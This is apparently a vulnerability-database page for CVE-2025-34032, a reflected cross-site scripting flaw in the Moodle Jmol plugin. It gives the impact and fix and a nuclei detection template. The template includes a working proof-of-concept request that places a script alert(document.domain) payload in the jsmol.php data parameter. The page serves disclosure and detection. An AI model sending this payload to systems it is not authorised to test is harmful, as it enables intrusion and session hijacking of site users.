HexBrain

Browse / CVEs / CVE-2025-34032

CVE-2025-34032· CWE-80

Moodle LMS Jmol Plugin <= 6.1 - Cross-Site Scripting

mediumseverity
5.4CVSS score
0.8%likelihood of exploitation, next 30 days
56%of all CVEs are less likely
Readycheck to confirm it

A reflected cross-site scripting (XSS) vulnerability exists in the Moodle LMS Jmol plugin version 6.1 and prior via the data parameter in jsmol.php. The application fails to properly sanitize user input before embedding it into the HTTP response, allowing an attacker to execute arbitrary JavaScript in the victim's browser by crafting a malicious link. This can be used to hijack user sessions or manipulate page content.

Impact

Attackers can execute arbitrary JavaScript in victim browsers through crafted links containing XSS payloads in the data parameter, potentially leading to session hijacking.

Fix

Upgrade to a patched version of Moodle Jmol plugin that properly sanitizes user input in jsmol.php.

How to confirm it

Send: GET {{BaseURL}}/filter/jmol/js/jsmol/php/jsmol.php?call=saveFile&data=%3Cscript%3Ealert(document.domain)%3C/script%3E&mimetype=text/html
Positive when: len(body) == 41 and status_code == 200 and contains(content_type, "text/html") AND matches /^<script>alert\(document\.domain\)</script>\s*$/

Run it with nuclei: nuclei -id CVE-2025-34032 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2025-34032

info:
  name: Moodle LMS Jmol Plugin <= 6.1 - Cross-Site Scripting
  author: madrobot,ritikchaddha
  severity: medium
  description: |
    A reflected cross-site scripting (XSS) vulnerability exists in the Moodle LMS Jmol plugin version 6.1 and prior via the data parameter in jsmol.php. The application fails to properly sanitize user input before embedding it into the HTTP response, allowing an attacker to execute arbitrary JavaScript in the victim's browser by crafting a malicious link. This can be used to hijack user sessions or manipulate page content.
  impact: |
    Attackers can execute arbitrary JavaScript in victim browsers through crafted links containing XSS payloads in the data parameter, potentially leading to session hijacking.
  remediation: |
    Upgrade to a patched version of Moodle Jmol plugin that properly sanitizes user input in jsmol.php.
  reference:
    - https://www.dionach.com/blog/moodle-jmol-plugin-multiple-vulnerabilities/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-34032
  classification:
    epss-score: 0.0078
    epss-percentile: 0.56255
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cve-id: CVE-2025-34032
    cvss-score: 5.4
    cwe-id: CWE-80
  metadata:
    max-request: 1
  tags: cve,cve2025,moodle,xss,edb,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/filter/jmol/js/jsmol/php/jsmol.php?call=saveFile&data=%3Cscript%3Ealert(document.domain)%3C/script%3E&mimetype=text/html"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'len(body) == 41'
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
        condition: and

      - type: regex
        regex:
          - '^<script>alert\(document\.domain\)</script>\s*$'

References

Use this check only on systems you are authorised to test. Where the data comes from